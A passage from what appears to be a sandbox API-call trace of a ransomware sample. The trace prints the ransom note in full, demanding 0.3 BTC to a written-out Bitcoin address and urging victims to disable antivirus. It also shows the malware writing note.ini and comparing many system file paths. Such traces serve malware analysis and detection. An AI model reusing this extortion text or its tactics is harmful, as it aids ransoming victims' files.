\r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n", lpString2="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 0 [0175.491] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383eb60 | out: hHeap=0x3820000) returned 1 [0175.492] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0175.492] GetFocus () returned 0x40298 [0175.492] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383baf8 [0175.492] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383baf8) returned 0x22 [0175.492] GetFocus () returned 0x40298 [0175.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0175.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x144265c, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0175.492] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383baf8 | out: hHeap=0x3820000) returned 1 [0175.492] VarCat (in: pvarLeft=0x18ef28, pvarRight=0x18eec8, pvarResult=0x18ef18 | out: pvarResult=0x18ef18) returned 0x0 [0175.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\note.ini", cchWideChar=-1, lpMultiByteStr=0x18eb48, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\note.ini", lpUsedDefaultChar=0x0) returned 24 [0175.493] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\note.ini", nBufferLength=0x104, lpBuffer=0x18ec78, lpFilePart=0x18eb40 | out: lpBuffer="C:\\ProgramData\\note.ini", lpFilePart=0x18eb40*="note.ini") returned 0x17 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0175.493] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0175.494] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0175.495] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0175.496] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0175.497] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\DVD 